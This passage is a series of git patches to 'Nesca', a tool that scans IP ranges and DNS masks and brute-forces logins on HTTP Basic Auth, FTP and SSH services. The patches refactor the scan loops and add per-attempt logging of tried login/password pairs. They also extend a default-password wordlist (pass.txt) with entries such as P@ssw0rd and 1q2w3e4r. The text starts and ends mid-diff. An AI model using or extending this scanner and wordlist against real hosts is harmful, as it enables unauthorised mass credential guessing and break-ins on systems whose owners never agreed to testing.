Threader::ipQueue.front(); + if (!Threader::ipQueue.empty()) { + ip = Threader::ipQueue.front(); + Threader::ipQueue.pop(); + Threader::ready = false; + lk.unlock(); - Threader::ipQueue.pop(); - Threader::ready = false; - lk.unlock(); + if (ip.size() == 0) return; - ConInc(); - for(int i = 0; i <= overallPorts; ++i) - { - if(globalScanFlag == false) break; - if(Connector::_ConnectToPort( ip, portArr[i], "" ) == -2) break; - }; - ConDec(); + ConInc(); + for (int i = 0; i <= overallPorts; ++i) + { + if (globalScanFlag == false) break; + if (Connector::_ConnectToPort(ip, portArr[i], "") == -2) break; + }; + ConDec(); + } } } -void targetAndIPWriter(long long unsigned int target, const char *ip) { +void verboseProgress(long long unsigned int target, const char *ip) { - char targetNPers[32] = {0}; + char targetNPers[128] = {0}; float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0); stt->doEmitionIPRANGE(QString(ip)); strcpy(currentIP, ip); - sprintf(targetNPers, "%Lu (%.1f%%)", - target, - percent); - stt->doEmitionTargetsLeft(QString(targetNPers)); + //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); + //stt->doEmitionTargetsLeft(QString(targetNPers)); sprintf(metaTargets, "%Lu", target); sprintf(metaPercent, "%.1f", percent); } +void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD) { + + char targetNPers[128] = { 0 }; + float percent = (gTargetsOverall != 0 ? (100 - target / (double)gTargetsOverall * 100) : 0); + + stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); + strcpy(currentIP, ip); + + //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); + //stt->doEmitionTargetsLeft(QString(targetNPers)); + + sprintf(metaTargets, "%Lu", target); + sprintf(metaPercent, "%.1f", + percent); +} void _passLoginLoader() { MaxLogin = 0; @@ -1010,10 +1028,6 @@ void _passLoginLoader() { stt->doEmitionRedFoundData("No password/login list found"); stt->doEmitionKillSttThread(); }; - - stt->doEmitionYellowFoundData("BA: ~" + QString::number(MaxLogin * MaxPass/gTimeOut/60) - + "; WF: ~" + QString::number(MaxWFLogin * MaxWFPass/gTimeOut/60) - + "; SSH: ~" + QString::number(MaxSSHPass/gTimeOut/60)); } void ReadUTF8(FILE* nFile, char *cp) { @@ -2090,7 +2104,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { if(globalScanFlag == false) return 0; string res = string(mask); - targetAndIPWriter(--gTargets, res.c_str()); + verboseProgressDNS(--gTargets, res.c_str(), top_level_domain); res += string(top_level_domain); ++indexIP; @@ -2099,6 +2113,15 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { }; } +void runAuxiliaryThreads() { + std::thread saverThread(_saver); + std::thread trackerThread(_tracker); + std::thread timerThread(_timer); + saverThread.detach(); + trackerThread.detach(); + timerThread.detach(); +} + int startScan(char* args) { curl_global_init(CURL_GLOBAL_ALL); SSL_library_init(); @@ -2121,57 +2144,53 @@ int startScan(char* args) { ZeroMemory(octet, sizeof(octet)); ZeroMemory(ipsstart, sizeof(ipsstart)); ZeroMemory(ipsend, sizeof(ipsend)); - + #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - CreateDirectory(L(RESULT_DIR_NAME), NULL); + //std::string OutputFolder = std::string(RESULT_DIR_NAME); + CreateDirectoryA(RESULT_DIR_NAME, NULL); #else - struct stat str = {0}; - if (stat(RESULT_DIR_NAME, &str) == -1) { - mkdir(RESULT_DIR_NAME, 0700); + struct stat str = {0}; + if (stat(RESULT_DIR_NAME, &str) == -1) { + mkdir(RESULT_DIR_NAME, 0700); } #endif int argc = 0; - char *argv[512] = {0}; + char *argv[512] = { 0 }; char *tStr = strtok(args, "|"); - while(tStr != NULL) + while (tStr != NULL) { argv[argc++] = tStr; tStr = strtok(NULL, "|"); }; - + ParseArgs(argc, argv); mode = gMode; int resInit = fInit(gMode, gRange); - if(resInit == -1 ) - { - stt->doEmitionRedFoundData("[Error] fInit failure"); + if (resInit == -1) + { + stt->doEmitionRedFoundData("[Error] fInit failure"); stt->doEmitionKillSttThread(); - + return -1; }; - stt->doEmitionIPRANGE(QString("--")); - stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); + stt->doEmitionIPRANGE(QString("--")); + stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); - _passLoginLoader(); - _NegativeLoader(); + _passLoginLoader(); + _NegativeLoader(); if (gMode == 0) { - std::thread saverThread(_saver); - std::thread trackerThread(_tracker); - std::thread timerThread(_timer); - saverThread.detach(); - trackerThread.detach(); - timerThread.detach(); + runAuxiliaryThreads(); - unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; + unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; - switch (gShuffle) { + switch (gShuffle) { case true: { std::vector<std::string> ipVec; struct in_addr tAddr; @@ -2179,35 +2198,27 @@ int startScan(char* args) { for (unsigned long i = ip1; i <= ip2; ++i) { if (globalScanFlag == false) break; - unsigned long offset = ip2 - i; + unsigned long offset = ip2 - i; - tAddr.s_addr = i; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) - + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) - + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) - + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); -#else - tAddr.s_addr = ntohl(tAddr.s_addr); - ipVec.push_back(inet_ntoa(tAddr)); -#endif - if(ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); + tAddr.s_addr = ntohl(i); + ipVec.push_back(inet_ntoa(tAddr)); + if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { std::random_shuffle(ipVec.begin(), ipVec.end()); while (ipVec.size() != 0) { - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) goto haters_gonna_hate_IPM; + while (cons >= gThreads && globalScanFlag) Sleep(500); + if (globalScanFlag == false) goto haters_gonna_hate_IPM; - ++indexIP; - std::string res = ipVec[0]; - ipVec.erase(ipVec.begin()); + ++indexIP; + std::string res = ipVec[0]; + ipVec.erase(ipVec.begin()); - targetAndIPWriter(gTargets--, res.c_str()); + verboseProgress(gTargets--, res.c_str()); - Threader::fireThread(res, (void*(*)(void))_connect); + Threader::fireThread(res, (void*(*)(void))_connect); } } } @@ -2217,113 +2228,100 @@ int startScan(char* args) { } case false: { struct in_addr tAddr; - for (unsigned long i = ip1; i <= ip2; ++i) { + for (unsigned long i = ip1; i <= ip2; ++i) { - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) break; + while (cons >= gThreads && globalScanFlag) Sleep(500); + if (globalScanFlag == false) break; - std::string res = ""; + std::string res = ""; ++indexIP; - tAddr.s_addr = i; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) - + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) - + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) - + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); -#else - tAddr.s_addr = ntohl(tAddr.s_addr); - res = string(inet_ntoa(tAddr)); -#endif - targetAndIPWriter(gTargets--, res.c_str()); + tAddr.s_addr = ntohl(i); + res = string(inet_ntoa(tAddr)); + verboseProgress(gTargets--, res.c_str()); - Threader::fireThread(res, (void*(*)(void))_connect); + Threader::fireThread(res, (void*(*)(void))_connect); } break; - } + } } } - else if(gMode == 1 ) + else if (gMode == 1) { - std::thread saverThread(_saver); - std::thread trackerThread(_tracker); - std::thread timerThread(_timer); - saverThread.detach(); - trackerThread.detach(); - timerThread.detach(); + runAuxiliaryThreads(); strcpy(top_level_domain, gFirstDom); - char dataEntry[1024] = {0}; - int innerCounter = 0; - int sz = strlen(saveEndIP); + char dataEntry[1024] = { 0 }; + int innerCounter = 0; + int sz = strlen(saveEndIP); - for(int i = 0; i < sz; ++i) - { - if(saveEndIP[i] == '\\') + for (int i = 0; i < sz; ++i) { - if(saveEndIP[i + 1] == 'd') + if (saveEndIP[i] == '\\') { - strcat(dataEntry, "[09]"); - ++i; - innerCounter += 4; - continue; - } - else if(saveEndIP[i + 1] == 'w') - { - strcat(dataEntry, "[0z]"); - ++i; - innerCounter += 4; - continue; - } - else if(saveEndIP[i + 1] == 'l') - { - strcat(dataEntry, "[az]"); - ++i; - innerCounter += 4; - continue; + if (saveEndIP[i + 1] == 'd') + { + strcat(dataEntry, "[09]"); + ++i; + innerCounter += 4; + continue; + } + else if (saveEndIP[i + 1] == 'w') + { + strcat(dataEntry, "[0z]"); + ++i; + innerCounter += 4; + continue; + } + else if (saveEndIP[i + 1] == 'l') + { + strcat(dataEntry, "[az]"); + ++i; + innerCounter += 4; + continue; + } + else + { + QString errStr = "Error at mask (Position:" + QString::number(i + 1); + errStr += ") \""; + errStr += QString(saveEndIP).mid(0, i == 0 ? 0 : i); + errStr += "<u>"; + errStr += QString(saveEndIP).mid(i, i == 0 ? i + 2 : i + 1); + errStr += "</u>"; + errStr += QString(saveEndIP).mid(i + 2, strlen(saveEndIP)); + errStr += "\""; + + stt->doEmitionRedFoundData(errStr); + return -1; + }; } else { - QString errStr = "Error at mask (Position:" + QString::number(i+1); - errStr += ") \""; - errStr += QString(saveEndIP).mid(0, i == 0 ? 0 : i); - errStr += "<u>"; - errStr += QString(saveEndIP).mid(i, i == 0 ? i+2 : i+1); - errStr += "</u>"; - errStr += QString(saveEndIP).mid(i+2, strlen(saveEndIP)); - errStr += "\""; - - stt->doEmitionRedFoundData(errStr); - return -1; + memset(dataEntry + innerCounter++, saveEndIP[i], 1); }; - } - else - { - memset(dataEntry + innerCounter++, saveEndIP[i], 1); }; - }; memset(dataEntry + innerCounter + 1, '\0', 1); - for(int i = 0; i < sz; ++i) + for (int i = 0; i < sz; ++i) { - if(dataEntry[i] == '[') + if (dataEntry[i] == '[') { - for(int j = i + 1; j < i + 3; ++j) + for (int j = i + 1; j < i + 3; ++j) { - if((dataEntry[j] < '0' || dataEntry[j] > '9') + if ((dataEntry[j] < '0' || dataEntry[j] > '9') && (dataEntry[j] < 'a' || dataEntry[j] > 'z') - && dataEntry[j] != '_' + && dataEntry[j] != '_' && dataEntry[j] != '-' ) { - QString errStr = "Error at mask (" + QString::number(j-1); + QString errStr = "Error at mask (" + QString::number(j - 1); errStr += ") \""; - errStr += QString(dataEntry).mid(0, j-1); + errStr += QString(dataEntry).mid(0, j - 1); errStr += "<u>"; - errStr += QString(dataEntry).mid(j-1, j+1); + errStr += QString(dataEntry).mid(j - 1, j + 1); errStr += "</u>"; - errStr += QString(dataEntry).mid(j+1, strlen(dataEntry)); + errStr += QString(dataEntry).mid(j + 1, strlen(dataEntry)); errStr += "\""; stt->doEmitionRedFoundData(errStr); @@ -2332,15 +2330,15 @@ int startScan(char* args) { }; i += 3; } - else if(dataEntry[i] == ']') + else if (dataEntry[i] == ']') { - QString errStr = "Error at mask (" + QString::number(i-1); + QString errStr = "Error at mask (" + QString::number(i - 1); errStr += ") \""; - errStr += QString(dataEntry).mid(0, i-1); + errStr += QString(dataEntry).mid(0, i - 1); errStr += "<u>"; - errStr += QString(dataEntry).mid(i-1, i+1); + errStr += QString(dataEntry).mid(i - 1, i + 1); errStr += "</u>"; - errStr += QString(dataEntry).mid(i+1, strlen(dataEntry)); + errStr += QString(dataEntry).mid(i + 1, strlen(dataEntry)); errStr += "\""; stt->doEmitionRedFoundData(errStr); @@ -2350,19 +2348,19 @@ int startScan(char* args) { unsigned long long dnsCounter = 1; char *dnsPtr1 = strstr(dataEntry, "["); - while(dnsPtr1 != NULL) + while (dnsPtr1 != NULL) { dnsCounter *= _getChunkCount(dnsPtr1); dnsPtr1 = strstr(dnsPtr1 + 1, "["); - }; + }; gTargets = dnsCounter; gTargetsOverall = gTargets; stt->doEmitionYellowFoundData("Starting DNS-scan..."); stt->doEmitionChangeStatus("Scanning..."); - - int y = _GetDNSFromMask(dataEntry, "", dataEntry); - if(y == -1) + + int y = _GetDNSFromMask(dataEntry, "", dataEntry); + if (y == -1) { stt->doEmitionRedFoundData("DNS-Mode error"); }; @@ -2371,23 +2369,18 @@ int startScan(char* args) { { if (flCounter == 0) { - stt->doEmitionRedFoundData("Empty IP list."); - globalScanFlag = false; + stt->doEmitionRedFoundData("Empty IP list."); + globalScanFlag = false; stt->doEmitionKillSttThread(); return -1; }; - std::thread saverThread(_saver); - std::thread trackerThread(_tracker); - std::thread timerThread(_timer); - saverThread.detach(); - trackerThread.detach(); - timerThread.detach(); + runAuxiliaryThreads(); - stt->doEmitionChangeStatus("Scanning..."); + stt->doEmitionChangeStatus("Scanning..."); for (gC = 0; gC < flCounter; ++gC) - { + { strcpy(metaRange, std::to_string(ipsstartfl[gC][0]).c_str()); strcat(metaRange, "."); strcat(metaRange, std::to_string(ipsstartfl[gC][1]).c_str()); @@ -2403,9 +2396,9 @@ int startScan(char* args) { strcat(metaRange, std::to_string(ipsendfl[gC][2]).c_str()); strcat(metaRange, "."); strcat(metaRange, std::to_string(ipsendfl[gC][3]).c_str()); - - unsigned long ip1 = (ipsstartfl[gC][0] * 16777216) + (ipsstartfl[gC][1] * 65536) + (ipsstartfl[gC][2] * 256) + ipsstartfl[gC][3]; - unsigned long ip2 = (ipsendfl[gC][0] * 16777216) + (ipsendfl[gC][1] * 65536) + (ipsendfl[gC][2] * 256) + ipsendfl[gC][3]; + + unsigned long ip1 = (ipsstartfl[gC][0] * 16777216) + (ipsstartfl[gC][1] * 65536) + (ipsstartfl[gC][2] * 256) + ipsstartfl[gC][3]; + unsigned long ip2 = (ipsendfl[gC][0] * 16777216) + (ipsendfl[gC][1] * 65536) + (ipsendfl[gC][2] * 256) + ipsendfl[gC][3]; switch (gShuffle) { case true: { @@ -2415,32 +2408,27 @@ int startScan(char* args) { for (unsigned long i = ip1; i <= ip2; ++i) { if (globalScanFlag == false) break; - unsigned long offset = ip2 - i; + unsigned long offset = ip2 - i; - tAddr.s_addr = i; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); -#else - tAddr.s_addr = ntohl(tAddr.s_addr); - ipVec.push_back(inet_ntoa(tAddr)); -#endif - if(ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); + tAddr.s_addr = ntohl(i); + ipVec.push_back(inet_ntoa(tAddr)); + if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { std::random_shuffle(ipVec.begin(), ipVec.end()); while (ipVec.size() != 0) { - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) goto haters_gonna_hate_IM; + while (cons >= gThreads && globalScanFlag) Sleep(500); + if (globalScanFlag == false) goto haters_gonna_hate_IM; - ++indexIP; - std::string res = ipVec[0]; + ++indexIP; + std::string res = ipVec[0]; ipVec.erase(ipVec.begin()); - targetAndIPWriter(gTargets--, res.c_str()); + verboseProgress(gTargets--, res.c_str()); - Threader::fireThread(res, (void*(*)(void))_connect); + Threader::fireThread(res, (void*(*)(void))_connect); } } } @@ -2449,26 +2437,20 @@ int startScan(char* args) { } case false: { struct in_addr tAddr; - for (unsigned long i = ip1; i <= ip2; ++i) { + for (unsigned long i = ip1; i <= ip2; ++i) { - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) break; + while (cons >= gThreads && globalScanFlag) Sleep(500); + if (globalScanFlag == false) break; ++indexIP; - std::string res = ""; - tAddr.s_addr = i; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); -#else - tAddr.s_addr = ntohl(tAddr.s_addr); - res = string(inet_ntoa(tAddr)); -#endif - targetAndIPWriter(gTargets--, res.c_str()); - Threader::fireThread(res, (void*(*)(void))_connect); + tAddr.s_addr = ntohl(i); + std::string res = string(inet_ntoa(tAddr)); + verboseProgress(gTargets--, res.c_str()); + Threader::fireThread(res, (void*(*)(void))_connect); } - break; - }; + break; + }; } } } @@ -2482,7 +2464,6 @@ int startScan(char* args) { stt->doEmitionYellowFoundData("Stopping threads..."); stt->doEmitionChangeStatus("Stopping..."); - while(cons > 0 || jsonArr->size() > 0) { Sleep(2000); }; diff --git a/pass.txt b/pass.txt index 7d92c21..43c0cee 100644 --- a/pass.txt +++ b/pass.txt @@ -16,6 +16,7 @@ passwd qwerty meinsm monitor +user test sysadm admin123 @@ -24,6 +25,7 @@ Admin 12344321 toor qwerty123 +1q2w3e4r 987654321 system telecom @@ -45,6 +47,7 @@ administrator sys guest backup -Fujiyama fujiyama -super \ No newline at end of file +super +P@ssw0rd +passw0rd \ No newline at end of file From 2753581b91e903e35621297be7c06bc66b327fa9 Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Sun, 22 Mar 2015 03:47:48 +0300 Subject: [PATCH 39/66] qw --- README.md | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/README.md b/README.md index 5afc3b1..65bcf70 100644 --- a/README.md +++ b/README.md @@ -1,9 +1 @@ -Nesca для Linux. Протестировано на Fedora 20 и РАБОТАЕТ(!) -<br> -``` - -Linux 3.18.6-100.fc20.x86_64 #1 SMP Fri Feb 6 22:55:01 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux -``` -1. libssh -2. openssl -3. весь qt-фреймворк (лол) +---- \ No newline at end of file From 31dbbabf96225d6ecf7f738b47e7872e7a31e369 Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Sun, 22 Mar 2015 13:13:17 +0300 Subject: [PATCH 40/66] Added FTP/BA progress info. --- BasicAuth.cpp | 5 +++++ FTPAuth.cpp | 9 +++++++-- 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/BasicAuth.cpp b/BasicAuth.cpp index e41b897..59b099f 100644 --- a/BasicAuth.cpp +++ b/BasicAuth.cpp @@ -36,6 +36,7 @@ lopaStr BA::_BABrute(const char *ip, const int port) { ZeroMemory(lps.login, sizeof(lps.login)); ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.other, sizeof(lps.other)); + int passCounter = 0; strcpy(lps.login, "UNKNOWN"); @@ -53,6 +54,10 @@ lopaStr BA::_BABrute(const char *ip, const int port) { return lps; }; + if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) + + "; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + + QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + Sleep(100); } } diff --git a/FTPAuth.cpp b/FTPAuth.cpp index f1c75f7..c14cc0d 100644 --- a/FTPAuth.cpp +++ b/FTPAuth.cpp @@ -19,6 +19,7 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, PathStr *ps) { strcpy(lps.login, "UNKNOWN"); int res = 0; + int passCounter = 0; for(int i = 0; i < MaxLogin; ++i) { @@ -41,8 +42,12 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, PathStr *ps) { ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n'); return lps; }; - - Sleep(70); + + if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) + + "; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + + QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + + Sleep(100); } } From fcacfafb986f2626c3d10279e4cd56fa6f674754 Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Sun, 22 Mar 2015 14:05:58 +0300 Subject: [PATCH 41/66] Added Curl error 18 message. --- Connector.cpp | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/Connector.cpp b/Connector.cpp index f81fc7f..b624985 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -325,11 +325,11 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer, return -2; } else if (res == 13) { - stt->doEmitionFoundData("Unknown ftp: (" + QString::number(res) + ") " + + stt->doEmitionFoundData("Unknown ftp. (" + QString::number(res) + ") " + QString(ip) + ":" + QString::number(port)); return -2; } else if (res == 8) { - stt->doEmitionFoundData("Strange ftp reply: (" + + stt->doEmitionFoundData("Strange ftp repl. (" + QString::number(res) + ") " + QString(ip) + ":" + QString::number(port)); return -2; @@ -340,6 +340,12 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer, ":" + QString::number(port)); return -2; } + else if (res == 18) { + stt->doEmitionFoundData("Inappropriate file size. (" + + QString::number(res) + ") " + QString(ip) + + ":" + QString::number(port)); + return -2; + } else stt->doEmitionRedFoundData("CURL error: (" + QString::number(res) + ") " + QString(ip) + ":" + QString::number(port)); } From d8e122f1414be5ad861ac7c66d5ae6da118af113 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Mon, 23 Mar 2015 10:51:58 +0300 Subject: [PATCH 42/66] Test devel branch --- Connector.cpp | 2 +- connector_old.cpp | 110 +++++++++++++++++++++--------------------- mainResources.h | 1 - nesca.pro | 4 -- nesca_startModule.cpp | 18 +++---- 5 files changed, 63 insertions(+), 72 deletions(-) diff --git a/Connector.cpp b/Connector.cpp index b624985..60018e7 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -301,7 +301,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer, if (lpString != NULL) { curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY); - curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, TRUE); + curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, 1L); curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str()); }; diff --git a/connector_old.cpp b/connector_old.cpp index 1da6549..89719c5 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -143,66 +143,66 @@ int OpenConnection(SOCKET *sock, const char *hostname, int port) return 0; } -void _baSSLWorker(char *ip, char *request, char *rvBuff) -{ - const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ - SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ +//void _baSSLWorker(char *ip, char *request, char *rvBuff) +//{ +// const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ +// SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ - if(ctx != NULL) - { - SOCKET sock; - SSL_CTX_set_timeout(ctx, gTimeOut); - int result = OpenConnection(&sock, ip, 443); - if(result >= 0) - { - SSL *ssl = NULL; - ssl = SSL_new(ctx); /* create new SSL connection state */ - if(ssl != NULL) - { - SSL_set_fd(ssl, sock); /* attach the socket descriptor */ - if(SSL_connect(ssl)) - { - SSL_write(ssl, request, strlen(request)); - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); +// if(ctx != NULL) +// { +// SOCKET sock; +// SSL_CTX_set_timeout(ctx, gTimeOut); +// int result = OpenConnection(&sock, ip, 443); +// if(result >= 0) +// { +// SSL *ssl = NULL; +// ssl = SSL_new(ctx); /* create new SSL connection state */ +// if(ssl != NULL) +// { +// SSL_set_fd(ssl, sock); /* attach the socket descriptor */ +// if(SSL_connect(ssl)) +// { +// SSL_write(ssl, request, strlen(request)); +// if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); - char tempBuff[128] = {0}; - int x = 1; - int xx = 0; +// char tempBuff[128] = {0}; +// int x = 1; +// int xx = 0; - ZeroMemory(rvBuff, sizeof(*rvBuff)); - while(xx < 512) - { - x = SSL_read(ssl, tempBuff, sizeof(tempBuff)); - if(x <= 0) break; - Activity += x; - xx += x; - strncat(rvBuff, tempBuff, x); - ZeroMemory(tempBuff, sizeof(tempBuff)); - }; +// ZeroMemory(rvBuff, sizeof(*rvBuff)); +// while(xx < 512) +// { +// x = SSL_read(ssl, tempBuff, sizeof(tempBuff)); +// if(x <= 0) break; +// Activity += x; +// xx += x; +// strncat(rvBuff, tempBuff, x); +// ZeroMemory(tempBuff, sizeof(tempBuff)); +// }; - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(rvBuff)); - if(HTMLDebugMode) _DebugWriteHTMLToFile(request, rvBuff); - }; - SSL_shutdown(ssl); - SSL_free(ssl); - CSSOCKET(sock); - SSL_CTX_free(ctx); /* release context */ - return; - }; - }; - CSSOCKET(sock); - SSL_CTX_free(ctx); /* release context */ - } - else - { - char buff1[512] = {0}; - char buff2[512] = {0}; +// if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(rvBuff)); +// if(HTMLDebugMode) _DebugWriteHTMLToFile(request, rvBuff); +// }; +// SSL_shutdown(ssl); +// SSL_free(ssl); +// CSSOCKET(sock); +// SSL_CTX_free(ctx); /* release context */ +// return; +// }; +// }; +// CSSOCKET(sock); +// SSL_CTX_free(ctx); /* release context */ +// } +// else +// { +// char buff1[512] = {0}; +// char buff2[512] = {0}; - ERR_error_string(ERR_peek_error(), buff1); - ERR_error_string(ERR_peek_last_error(), buff2); - stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); - }; -} +// ERR_error_string(ERR_peek_error(), buff1); +// ERR_error_string(ERR_peek_last_error(), buff2); +// stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); +// }; +//} char *_getAttributeValue(char *str, char *val, char *ip, int port) { diff --git a/mainResources.h b/mainResources.h index baf7e0b..3fed2f5 100644 --- a/mainResources.h +++ b/mainResources.h @@ -2,7 +2,6 @@ #include "base64.h" #include <libssh/libssh.h> -#include <openssl/ssl.h> #include <vector> #include <curl/curl.h> #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) diff --git a/nesca.pro b/nesca.pro index 6f76b91..5df5184 100644 --- a/nesca.pro +++ b/nesca.pro @@ -86,12 +86,8 @@ OTHER_FILES += \ nesca_3.rc -unix|win32: LIBS += -lssl - unix|win32: LIBS += -lssh unix|win32: LIBS += -lcrypto -unix|win32: LIBS += -lpthread - unix|win32: LIBS += -lcurl diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 67e82bd..d9ce21e 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -2124,9 +2124,9 @@ void runAuxiliaryThreads() { int startScan(char* args) { curl_global_init(CURL_GLOBAL_ALL); - SSL_library_init(); - OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ - SSL_load_error_strings(); /* Bring in and register error messages */ + //SSL_library_init(); +// OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ +// SSL_load_error_strings(); /* Bring in and register error messages */ horLineFlag = false; flCounter = 0; @@ -2183,10 +2183,10 @@ int startScan(char* args) { _passLoginLoader(); _NegativeLoader(); - if (gMode == 0) - { - runAuxiliaryThreads(); + runAuxiliaryThreads(); + if (gMode == 0) + { unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; @@ -2247,9 +2247,7 @@ int startScan(char* args) { } } else if (gMode == 1) - { - runAuxiliaryThreads(); - + { strcpy(top_level_domain, gFirstDom); char dataEntry[1024] = { 0 }; @@ -2376,8 +2374,6 @@ int startScan(char* args) { return -1; }; - runAuxiliaryThreads(); - stt->doEmitionChangeStatus("Scanning..."); for (gC = 0; gC < flCounter; ++gC) { From b2d36743be6daa4979fd490718f3948f8449377a Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Mon, 23 Mar 2015 11:03:39 +0300 Subject: [PATCH 43/66] Test devel branch --- connector_old.cpp | 110 +++++++++++++++++++++--------------------- nesca.pro | 4 -- nesca_startModule.cpp | 23 +++------ 3 files changed, 62 insertions(+), 75 deletions(-) diff --git a/connector_old.cpp b/connector_old.cpp index 1da6549..89719c5 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -143,66 +143,66 @@ int OpenConnection(SOCKET *sock, const char *hostname, int port) return 0; } -void _baSSLWorker(char *ip, char *request, char *rvBuff) -{ - const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ - SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ +//void _baSSLWorker(char *ip, char *request, char *rvBuff) +//{ +// const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ +// SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ - if(ctx != NULL) - { - SOCKET sock; - SSL_CTX_set_timeout(ctx, gTimeOut); - int result = OpenConnection(&sock, ip, 443); - if(result >= 0) - { - SSL *ssl = NULL; - ssl = SSL_new(ctx); /* create new SSL connection state */ - if(ssl != 